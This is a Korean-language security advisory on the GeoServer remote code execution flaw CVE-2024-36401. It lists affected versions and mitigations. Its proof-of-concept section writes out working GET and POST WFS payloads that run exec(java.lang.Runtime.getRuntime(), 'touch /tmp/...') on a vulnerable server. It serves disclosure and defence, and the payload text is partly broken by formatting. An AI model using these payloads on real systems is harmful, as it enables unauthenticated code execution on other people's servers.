보안동향

최신 보안정보를 신속하게 전해드립니다.

GeoServer 원격 코드 실행 취약점 (CVE-2024-36401)

2024-07-08

1. 개요

지리 공간 데이터 처리를 위한 오픈소스 소프트웨어인 GeoServer에서 심각한 취약점(CVE-2024-36401, CVSS v3.1 : 9.8)이 발견되었다. 해당 취약점을 악용하면 인증되지 않은 사용자가 취약한 GeoServer가 설치된 시스템에서 원격 코드 실행(RCE)있다. 사용자 상호 작용이 필요 없고 네트워크를 통해 악용될있으며, 권한이 필요하지 않아 심각한 위협이 될 수 있다. 현재 PoC가 공개된 상태이며 공격에 악용될있으므로, 취약한 버전을 사용하는 경우 신속히 패치버전으로 업데이트할 것을 권고한다.

2. 영향받는 버전

영향을 받는 버전

패치 버전

GeoServer < 2.23.6

2.23.6

2.24.0 <= GeoServer < 2.24.4

2.24.4

2.25.0 <= GeoServer < 2.25.2

2.25.2

3. PoC Test

CVE-2024-36401 취약점영향 환경 구축하여 PoC 테스트를 진행해보았다.

(1) 취약한 GeoServer 구동

먼저, 취약한 GeoServer를 8080 포트로 구동하였다. 테스트에 사용한 버전은 GeoServer 2.23.2 버전이다.

[그림 1] 취약한 GeoServer 구동

(2) GET 메소드를 이용한 Exploit

GET 메소드를 이용하여 취약한 GeoServer 대상으로 공격을 진행하였다. 테스트에 사용한 조작된 HTTP 요청 URL 다음과 같다. GeoServer의 /tmp 경로에cyberone1’ 파일을 생성하도록 한 것이다.

[URL]

http://192.168.108[.]130:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&

valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/cyberone1')

[그림 2] GET 메소드를 이용한 Exploit

(3) POST 메소드를 이용한 Exploit

POST 메소드를 이용하여 공격을 진행할 수도 있다. 테스트에 사용한 URL 및 Body 데이터는 다음과 같다. GeoServer의 /tmp 경로에cyberone2’ 파일을 생성하도록것이다.

[URL]

http://192.168.108[.]130:8080/geoserver/wfs

[HTTP Body]

service='WFS' version='2.0.0'

xmlns:topp='http://www.openplans[.]org/topp'

xmlns:fes='http://www.opengis[.]net/fes/2.0'

xmlns:wfs='http://www.opengis[.]net/wfs/2.0'>

typeNames='sf:archsites'/>

exec(java.lang.Runtime.getRuntime(),'touch /tmp/cyberone2')</wfs:valueReference>

[그림 3] POST 메소드를 이용한 Exploit

(4) 공격 영향

GeoServer 서버에서 Exploit 전후를 비교해보, 앞서 익스플로잇을 통해 생성 시도한 2개의 파일 (‘cyberone1’, ‘cyberone2’)이 생성된 것을 알 수 있다.

[ 4] 익스플로

[그림 5] 익스플로잇

4. 완화 방안

(1) 취약점을 수정한 공식 패치 버전으로 업데이트할 것을 권고한다.
- 다운로드 링크 : https://github[.]com/geoserver/geoserver/tags

(2) 패치가 불가능한 경우에는 아래 과정을 통해 취약점을 완화할 수 있다. 하지만, GeoServer의 일부 기능이 손상될 수 있으므로 가능한 공식 패치 버전으로 업데이트할 것을 권고한다.

- GeoServer가 설치된 시스템에서 아래 경로의 파일을 삭제
- webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar
※ x.y는 GeoServer의 주요 라이브러리인 GeoTools의 버전을 뜻한다. ex) GeoServer 2.25.1의 경우, gt-complex-31.1.jar

5. 참고 자료

[1] https://github[.]com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401

[2] https://github[.]com/advisories/GHSA-6jj6-gm7p-fcvv

[3] https://nsfocusglobal[.]com/remote-code-execution-vulnerability-between-geoserver-and-geotools-cve-2024-36401-cve-2024-36404-notification/

보안관제센터 MIR Team

목록